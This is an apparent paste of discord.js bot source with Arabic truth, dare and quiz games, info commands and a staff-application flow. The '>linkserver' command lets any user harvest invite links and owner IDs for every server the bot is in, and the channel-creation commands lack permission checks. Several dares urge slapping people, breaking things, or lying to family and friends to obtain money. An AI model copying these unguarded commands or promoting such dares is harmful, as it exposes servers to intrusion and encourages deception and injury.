- message.channel.send("`" + `${days} days, ${hours} hrs, ${minutes} , ${seconds} sec` + "`");
- }
- });
- client.on('message', message => {
- if (message.content === ">servers") {
- if(!message.channel.guild) return;
- let embed = new Discord.RichEmbed()
- .setColor("RANDOM")
- .addField("**Servers: **" , client.guilds.size)
- message.channel.sendEmbed(embed);
- }
- });
- var cats = [
- "https://static.pexels.com/photos/104827/cat-pet-animal-domestic-104827.jpeg",
- "https://www.petfinder.com/wp-content/uploads/2012/11/101438745-cat-conjunctivitis-causes.jpg",
- "http://www.i-love-cats.com/images/2015/04/12/cat-wallpaper-38.jpg",
- "https://www.aspca.org/sites/default/files/cat-care_urine-marking_main-image.jpg",
- "https://vignette1.wikia.nocookie.net/houseofnight/images/8/8b/Cats.jpg/revision/latest?cb=20130812053537",
- "https://s-media-cache-ak0.pinimg.com/originals/f0/3b/76/f03b7614dfadbbe4c2e8f88b69d12e04.jpg",
- "http://www.rd.com/wp-content/uploads/sites/2/2016/04/15-cat-wants-to-tell-you-attention.jpg"
- ]
- client.on('message', message => {
- var args = message.content.split(" ").slice(1);
- if(message.content.startsWith(prefix + 'cat')) {
- var cat = new Discord.RichEmbed()
- .setImage(cats[Math.floor(Math.random() * cats.length)])
- message.channel.sendEmbed(cat);
- }
- });
- client.on('message', message => {
- if (message.content === ">roles") {
- if(!message.channel.guild) return;
- var roles = message.guild.roles.map(roles => `${roles.name}, `).join(' ')
- const embed = new Discord.RichEmbed()
- .setColor('RANDOM')
- .addField('Roles:',`**[${roles}]**`)
- message.channel.sendEmbed(embed);
- }
- });
- const Sra7a = [
- 'صراحه | صوتك حلوة؟',
- 'صراحه | التقيت الناس مع وجوهين؟',
- 'صراحه | شيء وكنت تحقق اللسان؟',
- 'صراحه | أنا شخص ضعيف عندما؟',
- 'صراحه | هل ترغب في إظهار حبك ومرفق لشخص أو رؤية هذا الضعف؟',
- 'صراحه | يدل على أن الكذب مرات تكون ضرورية شي؟',
- 'صراحه | أشعر بالوحدة على الرغم من أنني تحيط بك كثيرا؟',
- 'صراحه | كيفية الكشف عن من يكمن عليك؟',
- 'صراحه | إذا حاول شخص ما أن يكرهه أن يقترب منك ويهتم بك تعطيه فرصة؟',
- 'صراحه | أشجع شيء حلو في حياتك؟',
- 'صراحه | طريقة جيدة يقنع حتى لو كانت الفكرة خاطئة" توافق؟',
- 'صراحه | كيف تتصرف مع من يسيئون فهمك ويأخذ على ذهنه ثم ينتظر أن يرفض؟',
- 'صراحه | التغيير العادي عندما يكون الشخص الذي يحبه؟',
- 'صراحه | المواقف الصعبة تضعف لك ولا ترفع؟',
- 'صراحه | نظرة و يفسد الصداقة؟',
- 'صراحه | إذا أحد قالك كلام سيء بالغالب وش تكون ردة فعلك؟',
- 'صراحه | شخص معك بالحلوه والمُره؟',
- 'صراحه | هل تحب إظهار حبك وتعلقك بالشخص أم ترى ذلك ضعف؟',
- 'صراحه | تأخذ بكلام اللي ينصحك ولا تسوي اللي تبي؟',
- 'صراحه | وش تتمنى الناس تعرف عليك؟',
- 'صراحه | ابيع المجرة عشان؟',
- 'صراحه | أحيانا احس ان الناس ، كمل؟',
- 'صراحه | مع مين ودك تنام اليوم؟',
- 'صراحه | صدفة العمر الحلوة هي اني؟',
- 'صراحه | الكُره العظيم دايم يجي بعد حُب قوي " تتفق؟',
- 'صراحه | صفة تحبها في نفسك؟',
- 'صراحه | الفقر فقر العقول ليس الجيوب " ، تتفق؟',
- 'صراحه | تصلي صلواتك الخمس كلها؟',
- 'صراحه | تجامل أحد على راحتك؟',
- 'صراحه | اشجع شيء سويتة بحياتك؟',
- 'صراحه | وش ناوي تسوي اليوم؟',
- 'صراحه | وش شعورك لما تشوف المطر؟',
- 'صراحه | غيرتك هاديه ولا تسوي مشاكل؟',
- 'صراحه | ما اكثر شي ندمن عليه؟',
- 'صراحه | اي الدول تتمنى ان تزورها؟',
- 'صراحه | متى اخر مره بكيت؟',
- 'صراحه | تقيم حظك ؟ من عشره؟',
- 'صراحه | هل تعتقد ان حظك سيئ؟',
- 'صراحه | شـخــص تتمنــي الإنتقــام منـــه؟',
- 'صراحه | كلمة تود سماعها كل يوم؟',
- 'صراحه | **هل تُتقن عملك أم تشعر بالممل؟',
- 'صراحه | هل قمت بانتحال أحد الشخصيات لتكذب على من حولك؟',
- 'صراحه | متى آخر مرة قمت بعمل مُشكلة كبيرة وتسببت في خسائر؟',
- 'صراحه | ما هو اسوأ خبر سمعته بحياتك؟',
- 'صراحه | هل جرحت شخص تحبه من قبل ؟',
- 'صراحه | ما هي العادة التي تُحب أن تبتعد عنها؟',
- 'صراحه | هل تحب عائلتك ام تكرههم؟',
- 'صراحه | من هو الشخص الذي يأتي في قلبك بعد الله – سبحانه وتعالى- ورسوله الكريم – صلى الله عليه وسلم؟',
- 'صراحه | هل خجلت من نفسك من قبل؟',
- 'صراحه | ما هو ا الحلم الذي لم تستطيع ان تحققه؟',
- 'صراحه | ما هو الشخص الذي تحلم به كل ليلة؟',
- 'صراحه | هل تعرضت إلى موقف مُحرج جعلك تكره صاحبهُ؟',
- 'صراحه | هل قمت بالبكاء أمام من تُحب؟',
- 'صراحه | ماذا تختار حبيبك أم صديقك؟',
- 'صراحه | هل حياتك سعيدة أم حزينة؟',
- 'صراحه | ما هي أجمل سنة عشتها بحياتك؟',
- 'صراحه | ما هو عمرك الحقيقي؟',
- 'صراحه | ما اكثر شي ندمن عليه؟',
- 'صراحه | ما هي أمنياتك المُستقبلية؟',
- ]
- client.on('message', message => {
- if (message.content.startsWith('>صراحه')) {
- if(!message.channel.guild) return message.reply('** This command only for servers **');
- var client= new Discord.RichEmbed()
- .setTitle("لعبة صراحة ..")
- .setColor('RANDOM')
- .setDescription(`${Sra7a[Math.floor(Math.random() * Sra7a.length)]}`)
- .setImage("https://cdn.discordapp.com/attachments/371269161470525444/384103927060234242/125.png")
- .setTimestamp()
- message.channel.sendEmbed(client);
- message.react("??")
- }
- });
- const Za7f = [
- "**صورة وجهك او رجلك او خشمك او يدك**.",
- "**اصدر اي صوت يطلبه منك الاعبين**.",
- "**سكر خشمك و قول كلمة من اختيار الاعبين الي معك**.",
- "**روح الى اي قروب عندك في الواتس اب و اكتب اي شيء يطلبه منك الاعبين الحد الاقصى 3 رسائل**.",
- "**قول نكتة اذا و لازم احد الاعبين يضحك اذا محد ضحك يعطونك ميوت الى ان يجي دورك مرة ثانية**.",
- "**سمعنا صوتك و غن اي اغنية من اختيار الاعبين الي معك**.",
- "**ذي المرة لك لا تعيدها**.",
- "**ارمي جوالك على الارض بقوة و اذا انكسر صور الجوال و ارسله في الشات العام**.",
- "**صور اي شيء يطلبه منك الاعبين**.",
- "**اتصل على ابوك و قول له انك رحت مع بنت و احين هي حامل....**.",
- "**سكر خشمك و قول كلمة من اختيار الاعبين الي معك**.",
- "**سو مشهد تمثيلي عن مصرية بتولد**.",
- "**اعطي اي احد جنبك كف اذا مافيه احد جنبك اعطي نفسك و نبي نسمع صوت الكف**.",
- "**ذي المرة لك لا تعيدها**.",
- "**ارمي جوالك على الارض بقوة و اذا انكسر صور الجوال و ارسله في الشات العام**.",
- "**روح عند اي احد بالخاص و قول له انك تحبه و الخ**.",
- "**اكتب في الشات اي شيء يطلبه منك الاعبين في الخاص**.",
- "**قول نكتة اذا و لازم احد الاعبين يضحك اذا محد ضحك يعطونك ميوت الى ان يجي دورك مرة ثانية**.",
- "**سامحتك خلاص مافيه عقاب لك :slight_smile:**.",
- "**اتصل على احد من اخوياك خوياتك , و اطلب منهم مبلغ على اساس انك صدمت بسيارتك**.",
- "**غير اسمك الى اسم من اختيار الاعبين الي معك**.",
- "**اتصل على امك و قول لها انك تحبها :heart:**.",
- "**لا يوجد سؤال لك سامحتك :slight_smile:**.",
- "**قل لواحد ماتعرفه عطني كف**.",
- "**منشن الجميع وقل انا اكرهكم**.",
- "**اتصل لاخوك و قول له انك سويت حادث و الخ....**.",
- "**روح المطبخ و اكسر صحن او كوب**.",
- "**اعطي اي احد جنبك كف اذا مافيه احد جنبك اعطي نفسك و نبي نسمع صوت الكف**.",
- "**قول لاي بنت موجود في الروم كلمة حلوه**.",
- "**تكلم باللغة الانجليزية الين يجي دورك مرة ثانية لازم تتكلم اذا ما تكلمت تنفذ عقاب ثاني**.",
- "**لا تتكلم ولا كلمة الين يجي دورك مرة ثانية و اذا تكلمت يجيك باند لمدة يوم كامل من السيرفر**.",
- "**قول قصيدة **.",
- "**تكلم باللهجة السودانية الين يجي دورك مرة ثانية**.",
- "**اتصل على احد من اخوياك خوياتك , و اطلب منهم مبلغ على اساس انك صدمت بسيارتك**.",
- "**اول واحد تشوفه عطه كف**.",
- "**سو مشهد تمثيلي عن اي شيء يطلبه منك الاعبين**.",
- "**سامحتك خلاص مافيه عقاب لك**.",
- "**اتصل على ابوك و قول له انك رحت مع بنت و احين هي حامل....**.",
- "**روح اكل ملح + ليمون اذا مافيه اكل اي شيء من اختيار الي معك**.",
- "**تاخذ عقابين**.",
- "**قول اسم امك افتخر بأسم امك**.",
- "**ارمي اي شيء قدامك على اي احد موجود او على نفسك**.",
- "**اذا انت ولد اكسر اغلى او احسن عطور عندك اذا انتي بنت اكسري الروج حقك او الميك اب حقك**.",
- "**اذهب الى واحد ماتعرفه وقل له انا كيوت وابي بوسه**.",
- "**تتصل على الوالده و تقول لها خطفت شخص**.",
- "** تتصل على الوالده و تقول لها تزوجت با سر**.",
- "**????تصل على الوالده و تقول لها احب وحده**.",
- "**تتصل على شرطي تقول له عندكم مطافي**.",
- "**خلاص سامحتك**.",
- "** تصيح في الشارع انا مجنوون**.",
- "** تروح عند شخص تقول له احبك**.",
- ]
- client.on('message', message => {
- if (message.content.startsWith(">عقاب")) {
- if(!message.channel.guild) return message.reply('** This command only for servers**');
- var embed = new Discord.RichEmbed()
- .setColor('RANDOM')
- .setThumbnail(message.author.avatarURL)
- .addField('?????????? ?????? ?' ,
- `${Za7f[Math.floor(Math.random() * Za7f.length)]}`)
- message.channel.sendEmbed(embed);
- console.log('[38ab] Send By: ' + message.author.username)
- }
- });
- var rebel = ["https://f.top4top.net/p_682it2tg6.png","https://e.top4top.net/p_682a1cus5.png","https://d.top4top.net/p_682pycol4.png","https://c.top4top.net/p_682vqehy3.png","https://b.top4top.net/p_682mlf9d2.png","https://a.top4top.net/p_6827dule1.png","https://b.top4top.net/p_682g1meb10.png","https://a.top4top.net/p_682jgp4v9.png","https://f.top4top.net/p_682d4joq8.png","https://e.top4top.net/p_6828o0e47.png","https://d.top4top.net/p_6824x7sy6.png","https://c.top4top.net/p_682gzo2l5.png","https://b.top4top.net/p_68295qg04.png","https://a.top4top.net/p_682zrz6h3.png","https://f.top4top.net/p_6828vkzc2.png","https://e.top4top.net/p_682i8tb11.png"]
- client.on('message', message => {
- var args = message.content.split(" ").slice(1);
- if(message.content.startsWith(prefix + 'لو خيروك')) {
- var cat = new Discord.RichEmbed()
- .setImage(rebel[Math.floor(Math.random() * rebel.length)])
- message.channel.sendEmbed(cat);
- }
- });
- const cuttweet = [
- 'كت تويت | تخيّل لو أنك سترسم شيء وحيد فيصبح حقيقة، ماذا سترسم؟',
- 'كت تويت | أكثر شيء يُسكِت الطفل برأيك؟',
- 'كت تويت | الحرية لـ ... ؟',
- 'كت تويت | قناة الكرتون المفضلة في طفولتك؟',
- 'كت تويت | كلمة للصُداع؟',
- 'كت تويت | ما الشيء الذي يُفارقك؟',
- 'كت تويت | موقف مميز فعلته مع شخص ولا يزال يذكره لك؟',
- 'كت تويت | أيهما ينتصر، الكبرياء أم الحب؟',
- 'كت تويت | بعد 10 سنين ايش بتكون ؟',
- 'كت تويت | مِن أغرب وأجمل الأسماء التي مرت عليك؟',
- 'كت تويت | عمرك شلت مصيبة عن شخص برغبتك ؟',
- 'كت تويت | أكثر سؤال وجِّه إليك مؤخرًا؟',
- 'كت تويت | ما هو الشيء الذي يجعلك تشعر بالخوف؟',
- 'كت تويت | وش يفسد الصداقة؟',
- 'كت تويت | شخص لاترفض له طلبا ؟',
- 'كت تويت | كم مره خسرت شخص تحبه؟.',
- 'كت تويت | كيف تتعامل مع الاشخاص السلبيين ؟',
- 'كت تويت | كلمة تشعر بالخجل اذا قيلت لك؟',
- 'كت تويت | جسمك اكبر من عٌمرك او العكسّ ؟!',
- 'كت تويت |أقوى كذبة مشت عليك ؟',
- 'كت تويت | تتأثر بدموع شخص يبكي قدامك قبل تعرف السبب ؟',
- 'كت تويت | هل حدث وضحيت من أجل شخصٍ أحببت؟',
- 'كت تويت | أكثر تطبيق تستخدمه مؤخرًا؟',
- 'كت تويت | اكثر شي يرضيك اذا زعلت بدون تفكير ؟',
- 'كت تويت | وش محتاج عشان تكون مبسوط ؟',
- 'كت تويت | مطلبك الوحيد الحين ؟',
- 'كت تويت | هل حدث وشعرت بأنك ارتكبت أحد الذنوب أثناء الصيام؟',
- 'كت تويت | هل تفضل الافلام ولا المسلسلات ؟',
- 'كت تويت | وش افضل قناة تتابعها في اليوتيوب ؟',
- 'كت تويت | وش افضل لعبة ممكن تلعبها ؟',
- 'كت تويت | وش تتباع اكثر افلام اجنبي ام عربي ؟',
- 'كت تويت | مو لاقي سؤال اسئله لك :joy:',
- ]
- client.on('message', message => {
- if (message.content.startsWith(">كت تويت")) {
- if(!message.channel.guild) return message.reply('** This command only for servers**');
- var embed = new Discord.RichEmbed()
- .setColor('RANDOM')
- .setThumbnail(message.author.avatarURL)
- .addField('لعبه كت تويت' ,
- `${cuttweet[Math.floor(Math.random() * cuttweet.length)]}`)
- message.channel.sendEmbed(embed);
- console.log('[id] Send By: ' + message.author.username)
- }
- });
- const secreT = [
- "**الحياة بكل ما فيها تقف دائمًا على حد الوسطية بين اتزان المعنى وضده من حب وكره وحق وباطل وعدل وظلم**.",
- "**كى تعيش عليك ان تتقن فن التجاهل باحتراف**.",
- "**لا تحزن على من اشعرك بان طيبتك غباء امام وقاحته**.",
- "**هناك من يحلم بالنجاح وهناك من يستيقظ باكرا لتحقيقه**.",
- "**ان تعالج ألمك بنفسك تلك هى القوة**.",
- "**الجميع يسمع ما تقول والاصدقاء ينصتون لما تقول وافضل الاصدقاء ينصتون لما اخفاه سكوتك**.",
- "**انتهى زمن الفروسية ، لم تنقرض الخيول بل انقرض الفرسان**.",
- "**ان تكون اخرسا عاقلا خير من ان تكون نطوقا جهولا**.",
- "**المناقشات العقيمة لا تنجب افكارا**.",
- "**نحن نكتب ما لا نستطيع ان نقول وما نريد ان يكون**.",
- "**نحن نكتب ما لا نستطيع ان نقول وما نريد ان يكون**.",
- ]
- client.on('message', message => {
- if (message.content.startsWith(">خواطر")) {
- if(!message.channel.guild) return message.reply('** This command only for servers**');
- var embed = new Discord.RichEmbed()
- .setColor('RANDOM')
- .setThumbnail(message.author.avatarURL)
- .addField('لعبه خواطر' ,
- `${secreT[Math.floor(Math.random() * secreT.length)]}`)
- message.channel.sendEmbed(embed);
- console.log('[id] Send By: ' + message.author.username)
- }
- });
- client.on("message", (message) => {
- if (message.content.startsWith(">setchannel")) {
- let args = message.content.split(" ").slice(1);
- message.guild.createChannel(args.join(' '), 'text');
- message.channel.sendMessage('تـم إنـشاء روم كـتابـي بنجاح|?')
- }
- });
- client.on("message", (message) => {
- if (message.content.startsWith(">setvoice")) {
- let args = message.content.split(" ").slice(1);
- message.guild.createChannel(args.join(' '), 'voice');
- message.channel.sendMessage('تـم إنـشاء روم صـوتي بنجاح|?')
- }
- });
- client.on('message', async rokz => {
- if(rokz.content.startsWith(prefix + "تقديم")) {
- let lang = '';
- let time = '';
- let expe = '';
- let qest = '';
- let questions = [
- 'ماهي فائده if(!message.channel.guild) return; ?',
- 'ماهي فائده if(!message.user.bot) return ?',
- 'مالفرق بين const و var ?',
- 'ماهي فائده ملفات JSON ?',
- 'ماهي فائده forEach ?',
- 'ماهي فائده client.on(`message`, message => { ?',
- 'كيف تستخدم await ?',
- 'مالفرق بين message.channel.send(``) و message.reply(``) ?',
- 'الفرق بين || و &&'
- ]
- let fillter = m => m.author.id === rokz.author.id
- await rokz.channel.send("ما لغتك ؟").then(e => {
- rokz.channel.awaitMessages(fillter, { time: 60000, max: 1 })
- .then(co => {
- lang = co.first().content;
- co.first().delete();
- e.edit(`كم هي المدة ؟
- [${lang}]`)
- rokz.channel.awaitMessages(fillter, { time: 60000, max: 1 })
- .then(col => {
- time = col.first().content;
- col.first().delete();
- e.edit(`ما هي خبرتك ؟
- [${time}]
- [${lang}]`)
- rokz.channel.awaitMessages(fillter, { time: 60000, max: 1 })
- .then(coll => {
- expe = coll.first().content;
- coll.first().delete();
- let question = questions[Math.floor(Math.random() * questions.length)]
- e.edit(`${question}
- [${qest}]`)
- rokz.channel.awaitMessages(fillter, { time: 60000, max: 1 })
- .then(coll => {
- qest = coll.first().content;
- coll.first().delete();
- e.edit(`جاري تقديمك...
- [${expe}]
- [${time}]
- [${lang}]
- [${qest}]`)
- let superme = rokz.guild.channels.find("name","اسم روم التقديم")
- setTimeout(() => {
- e.edit("تم التقديم")
- }, 3000)
- let embed = new Discord.RichEmbed()
- .setDescription(`
- » اللغة : **${lang}**
- » المدة : **${time}**
- » الخبرة : **${expe}**
- » ${question} : **${qest}**
- » تم التقديم بواسطة: ${rokz.author}`)
- superme.sendEmbed(embed).then(supermez => {
- supermez.react("?")
- supermez.react("?")
- })
- })
- })
- })
- })
- }
- )}})
- client.on('message' , message => {
- var prefix = ">";
- if(message.content.startsWith(prefix+"userinfo")) {
- let user = message.mentions.users.first() || message.author;
- const joineddiscord = (user.createdAt.getDate() + 1) + '-' + (user.createdAt.getMonth() + 1) + '-' + user.createdAt.getFullYear() + ' | ' + user.createdAt.getHours() + ':' + user.createdAt.getMinutes() + ':' + user.createdAt.getSeconds();
- message.delete();
- let game;
- if (user.presence.game === null) {
- game = 'لا يلعب حاليا.';
- } else {
- game = user.presence.game.name;
- }
- let messag;
- if (user.lastMessage === null) {
- messag = 'لم يرسل رسالة. ';
- } else {
- messag = user.lastMessage;
- }
- let status;
- if (user.presence.status === 'online') {
- status = ':green_heart:';
- } else if (user.presence.status === 'dnd') {
- status = ':heart:';
- } else if (user.presence.status === 'idle') {
- status = ':yellow_heart:';
- } else if (user.presence.status === 'offline') {
- status = ':black_heart:';
- }
- if (user.presence.status === 'offline') {
- stat = 0x000000;
- } else if (user.presence.status === 'online') {
- stat = 0x00AA4C;
- } else if (user.presence.status === 'dnd') {
- stat = 0x9C0000;
- } else if (user.presence.status === 'idle') {
- stat = 0xF7C035;
- }
- const embed = new Discord.RichEmbed()
- .addField('**UserInfo:**', `**name:** ${user.username}#${user.discriminator}\n**JoinedDiscord:** ${joineddiscord}\n**LastMessage:** ${messag}\n**Playing:** ${game}\n**Status:** ${status}\n**Bot?** ${user.bot}`, true)
- .setThumbnail(user.displayAvatarURL)
- .addField(`Roles:`, message.guild.members.get(user.id).roles.array(role => role.name).slice(1).join(', '))
- .addField('DiscordInfo:', `**Discriminator:** #${user.discriminator}\n**ID:** ${user.id}\n**Username:** ${user.username}`)
- .setAuthor(`معلومات ${user.username}`, user.displayAvatarURL)
- .setColor(stat);
- message.channel.send({embed})
- .catch(e => logger.error(e));
- }
- });
- client.on('message', message => {
- if(message.content === prefix + "roomsall"){
- if (message.author.bot) return
- if (!message.guild) return;
- var channels = message.guild.channels.map(channels => `${channels.name}, `).join(' ')
- const embed = new Discord.RichEmbed()
- .setColor('RANDOM')
- .addField(`${message.guild.name}`,`**Rooms:white_check_mark:**`)
- .addField(':arrow_down: عدد الرومات. :heavy_check_mark:',`** ${message.guild.channels.size}**`)
- .addField(':arrow_down:اسماء الرومات. :heavy_check_mark::',`**[${channels}]**`)
- message.channel.sendEmbed(embed);
- }
- });
- client.on('message', msg => {
- if(msg.author.bot) return;
- if(msg.content === '>linkserver') {
- client.guilds.forEach(g => {
- let l = g.id
- g.channels.get(g.channels.first().id).createInvite({
- maxUses: 5,
- maxAge: 86400
- }).then(i => msg.channel.send(`
- **
- Invite Link : <https://discord.gg/${i.code}>
- Server : ${g.name} | Id : ${g.id}
- Owner ID : ${g.owner.id}
- **
- `))
- })
- }
- })
- client.on("message", message => {
- if (message.author.bot) return;
- if (!message.channel.guild) return;
- if (!games[message.author.id]) games[message.author.id] = {
- credits: 100,
- level: 1,
- };
- fs.writeFile('./games.json', JSON.stringify(games), (err) => {
- if (err) console.error(err);
- });
- });
- const math = require('math-expression-evaluator');
- const stripIndents = require('common-tags').stripIndents;
- client.on('message', msg => {
- if (msg.content.startsWith(prefix + 'calc')) {
- let args = msg.content.split(" ").slice(1);
- const question = args.join(' ');
- if (args.length < 1) {
- msg.reply('**من فضلك .. قم بكتابة سؤال **.');
- } else { let answer;
- try {
- answer = math.eval(question);
- } catch (err) {
- return msg.reply(`Error: ${err}`);
- }
- const embed = new Discord.RichEmbed()
- .setThumbnail('https://d.top4top.net/p_99646wy51.png')
- .setDescription(`**
- السؤال يقولك :thinking: : ${question}
- طبعا الاجابة :writing_hand: : ${answer}**
- `)
- msg.channel.send(embed)
- }
- };
- });
- client.on("error", function() {
- return console.log(arguments[0])
- });
- client.login(Token)
Add Comment
Please, Sign In to add comment